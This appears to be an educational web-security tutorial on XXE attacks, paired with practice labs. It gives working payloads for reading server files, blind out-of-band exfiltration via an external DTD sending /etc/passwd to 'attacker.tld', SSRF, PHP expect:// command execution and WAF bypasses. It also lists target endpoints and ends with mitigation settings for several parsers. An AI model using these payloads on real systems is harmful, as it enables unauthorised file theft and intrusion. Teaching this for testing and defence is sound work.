Quick answer
XXE (XML External Entity) happens when an XML parser processes external entities declared by the attacker. It allows reading arbitrary files from the server, SSRF to the internal network, and sometimes RCE (PHP expect://). Typical endpoints: SOAP APIs, SAML callbacks, configuration importers (XML/Office docs), converters. Although XML is in decline, it's still present in legacy systems and in SAML.
How it works
XML supports declaring external entities that the parser resolves by loading resources. If the parser is misconfigured:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
The parser resolves &xxe; by loading the content of /etc/passwd and returns it in the response — if the response reflects the <data> field, you read the file.
Variants
1. Classic XXE with file read
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<request><user>&xxe;</user></request>
Works if the response returns the value of the field where the entity is injected.
2. Blind XXE via external DTD (OOB)
When the response doesn't reflect the content but the parser can make requests:
<!DOCTYPE foo [
<!ENTITY % ext SYSTEM "https://attacker.tld/evil.dtd">
%ext;
]>
<root></root>
evil.dtd on the attacker's server:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://attacker.tld/?leak=%file;'>">
%eval;
%exfil;
The parser:
- Loads the external DTD.
- Reads
/etc/passwdinto%file. - Defines
%exfilwith a GET to attacker.tld with the content as a query param. - Resolves
%exfil→ an HTTP request arrives at the attacker with the content.
Burp Collaborator is perfect for hosting malicious DTDs and seeing the hits.
3. SSRF via XXE
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-service:8080/admin">]>
<root>&xxe;</root>
The parser makes an HTTP request to the internal endpoint from the server. The response (or part of it) may end up reflected.
4. RCE in PHP (legacy)
PHP with the expect wrapper enabled:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<root>&xxe;</root>
Executes id in the shell. Requires the expect extension loaded (rare, but it exists in legacy setups).
Endpoints to look at
SAML
SAML is XML by design. Any /saml/login, /saml/callback, /auth/sso endpoint that processes XML assertions sent by the client is a candidate. The SAML response is sent by the browser after the IdP — if the SP processes it with an insecure parser, XXE.
SOAP APIs
SOAP webservices process XML. Endpoints *.asmx, *.svc, *.wsdl, paths with /soap, /services, /api/v1/soap.
Configuration importers
- Import
.docx,.xlsx,.pptx(all contain XML internally). - Import SVG (XML-based).
- Import OPML, RSS, GPX.
- Import configurations (
.config,.xml).
Office documents (DOCX/XLSX/PPTX)
These formats are ZIPs of XMLs. Uploading a docx with a [Content_Types].xml modified to include an external DTD can trigger XXE in the backend converter.
docx_zip/
├── [Content_Types].xml ← modificar aquí
├── word/
│ └── document.xml
└── _rels/
SVG uploads
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
If the app converts SVG → PNG with ImageMagick or another parser that respects external entities, it reads the file.
WAF bypasses
Alternative encoding
<?xml version="1.0" encoding="UTF-16"?>
If the WAF only scans UTF-8, UTF-16 (with BOM) can bypass it.
Parameter entities
<!ENTITY % start "<!ENTITY xxe">
<!ENTITY % end " SYSTEM 'file:///etc/passwd'>">
%start;%end;
Build the entity dynamically to evade string detection.
CDATA + entity
<![CDATA[<!ENTITY xxe SYSTEM "file:///etc/passwd">]]>
Sometimes parsed by the engine but filtered by the WAF.
Quick detection
Minimal test: send XML with a DTD pointing to Collaborator:
<!DOCTYPE foo [<!ENTITY % ext SYSTEM "https://yourcollab.collab.tld/test"> %ext;]>
<root></root>
If a hit arrives at Collaborator → the parser resolves external entities → possible exploitable XXE.
Correct mitigation
- Disable external entity resolution in every parser:
- Java:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). - Python
lxml:parser = etree.XMLParser(resolve_entities=False). - PHP:
libxml_disable_entity_loader(true)(deprecated in PHP 8 — already the default). - .NET:
XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit.
- Java:
- Whitelist of accepted types (don't accept XML if you don't need it).
- WAF as a second line, never the first.
Hunting checklist
- Does the endpoint accept
Content-Type: application/xmlortext/xml? - Are there imports of docx/xlsx/pptx/svg/opml/gpx?
- Are there
/saml/,/soap/, SOAP-style endpoints? - Try Collaborator-based detection with an external DTD?
- Are there verbose XML errors if I send a malformed one?
- Is
<!DOCTYPE>allowed in the body? - Are Office docs processed server-side (preview, conversion, OCR)?
Related labs
Practice classic XXE, blind via external DTD and internal SSRF through XML: XXE labs.
Practice this in a lab
Xxe
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
Headless browsers — SSRF and RCE in endpoints that render URLs
Endpoints that accept URLs for screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) are an SSRF goldmine: cloud metadata, file://, gopher://, JS injection with XSS-to-RCE in the chromium sandbox.
Next.js attack surface 2026 — middleware bypass, internal SSRF, RSC abuse
Next.js 13-16 specific vulnerabilities: middleware bypass with manipulated headers, SSRF in API routes, RSC (React Server Components) data leak, image optimization SSRF.
SSRF — complete bypasses: localhost, IPv6, decimal, DNS and cloud metadata
11 techniques to bypass SSRF validation: enclosed alphanumeric, decimal IP, dot bypass, DNS rebinding, parameter pollution. Cloud metadata AWS/GCP/Azure.